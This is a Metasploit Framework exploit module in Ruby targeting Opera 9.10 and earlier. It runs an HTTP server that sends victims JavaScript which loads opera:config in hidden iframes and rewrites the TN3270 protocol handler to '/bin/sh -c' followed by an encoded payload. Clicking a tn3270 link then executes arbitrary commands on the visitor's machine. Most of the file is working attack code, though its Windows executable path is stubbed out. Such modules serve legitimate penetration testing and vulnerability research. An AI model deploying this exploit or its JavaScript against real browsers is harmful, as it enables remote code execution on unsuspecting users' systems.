##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::OPERA,
:ua_ver => "1.0",
:os_name => [ OperatingSystems::WINDOWS, OperatingSystems::LINUX ],
:javascript => true,
:rank => ExcellentRanking, # reliable exe writer
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,{
'Name' => 'Opera 9 Configuration Overwrite',
'Description' => %q{
Opera web browser in versions <= 9.10 allows unrestricted script
access to its configuration page, opera:config, allowing an
attacker to change settings and potentially execute arbitrary
code.
},
'License' => BSD_LICENSE,
'Author' =>
[
'egypt', # stolen from mpack
],
'Version' => '$Revision: 6655 $',
'References' => [ ],
'Payload' =>
{
'ExitFunc' => 'process',
'Space' => 2048,
'DisableNops' => true,
'BadChars' => " |'<>&",
},
'Targets' =>
[
#[ 'Opera < 9.10 Windows',
# {
# 'Platform' => 'win',
# 'Arch' => ARCH_X86,
# }
#],
[ 'Opera < 9.10 Unix Cmd',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
}
],
],
# Not sure when this was disclosed but it's been known since at
# least March 5, 2007, since that's the release date on the version
# of mpack I stole this from.
'DisclosureDate' => 'Mar 5 2007'
}))
end
def on_request_uri(cli, request)
case request.uri
when /payload$/
print_status("Generating payload for #{target} #{target.platform}")
# Re-generate the payload
if ((p = regenerate_payload(cli)) == nil)
print_error("Payload generation failed, 404ing request for #{request.uri}")
send_not_found(cli)
return
end
# NOTE: Change this to the new API when commiting to trunk
#content = Msf::Util::EXE.to_win32pe(p.encoded)
#content = Rex::Text.to_win32pe(p.encoded)
content = "foo"
print_status("Generated #{content.length} bytes")
headers = { 'Content-Type' => 'application/octet-stream' }
when get_resource
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
content = "<body><script>"
content << generate_evil_js(cli, request)
content << "</script></body>"
headers = { 'Content-Type' => 'text/html' }
else
print_status("404ing request for #{request.uri}")
send_not_found(cli)
return
end
send_response_html(cli, content, headers)
end
def generate_evil_js(cli, request)
# There are a bunch of levels of quotes here, so the easiest way to
# make everything line up is to hex escape the command to run
p = regenerate_payload(cli).encoded
#print_status(p)
shellcode = Rex::Text.to_hex(p, "%")
js = <<ENDJS
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.body.appendChild(blank_iframe);
blank_iframe_window.eval(
"config_iframe = document.createElement('iframe');" +
"config_iframe.setAttribute('id', 'config_iframe_window');" +
"config_iframe.src = 'opera:config';" +
"document.body.appendChild(config_iframe);" +
"cache_iframe = document.createElement('iframe');" +
"cache_iframe.src = 'opera:cache';" +
"cache_iframe.onload = function ()" +
"{" +
" config_iframe_window.eval" +
" (\\"" +
" old_handler = opera.getPreference('Network','TN3270 App');" +
" shellcode = '#{shellcode}';" +
" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
" app_link = document.createElement('a');" +
" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
" app_link.click();" +
" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
" \\");" +
"};" +
"document.body.appendChild(cache_iframe);" +
"");
ENDJS
end
def generate_evil_preference()
end
end
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